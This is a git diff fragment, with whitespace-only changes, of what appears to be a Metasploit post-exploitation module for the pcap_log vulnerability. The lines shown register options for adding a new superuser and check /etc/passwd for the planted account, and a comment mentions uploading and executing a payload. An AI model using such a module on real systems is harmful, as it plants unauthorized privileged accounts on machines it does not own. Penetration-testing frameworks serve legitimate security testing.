@@ -42,7 +42,7 @@ def initialize(info={})
42
42
'References' =>
43
43
[
44
44
[ 'BID' , '54472' ] ,
45
- [ 'URL' , 'http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html' ] ,
45
+ [ 'URL' , 'http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html' ] ,
46
46
[ 'URL' , 'https://community.rapid7.com/docs/DOC-1946' ] ,
47
47
] ,
48
48
'DisclosureDate' => "Jul 16 2012" ,
@@ -55,7 +55,7 @@ def initialize(info={})
55
55
}
56
56
) )
57
57
register_options (
58
- [
58
+ [
59
59
Opt ::RPORT ( 2940 ) ,
60
60
OptString . new ( "USERNAME" , [ true , "Username for the new superuser" , "metasploit" ] ) ,
61
61
OptString . new ( "PASSWORD" , [ true , "Password for the new superuser" , "metasploit" ] ) ,
@@ -98,13 +98,13 @@ def run
98
98
i = ( i +1 ) % 60 # increment second counter
99
99
end
100
100
101
- if cmd_exec ( "(grep Metasploit /etc/passwd > /dev/null && echo true) || echo false" ) . include? ( "true" )
101
+ if cmd_exec ( "(grep Metasploit /etc/passwd > /dev/null && echo true) || echo false" ) . include? ( "true" )
102
102
print_good ( "Success. You should now be able to login or su to the '" + datastore [ 'USERNAME' ] + "' account" )
103
103
# TODO: Consider recording our now-created username and password as a valid credential here.
104
104
else
105
- print_error ( "Failed, the '" + datastore [ 'USERNAME' ] + "' user does not appear to have been added" )
106
- end
105
+ print_error ( "Failed, the '" + datastore [ 'USERNAME' ] + "' user does not appear to have been added" )
106
+ end
107
107
# 0a2940: Initially the plan was to have this post module switch user, upload & execute a new payload
108
- # However beceause the session is not a terminal, su will not always allow this.
108
+ # However beceause the session is not a terminal, su will not always allow this.
109
109
end
110
110
end
0 commit comments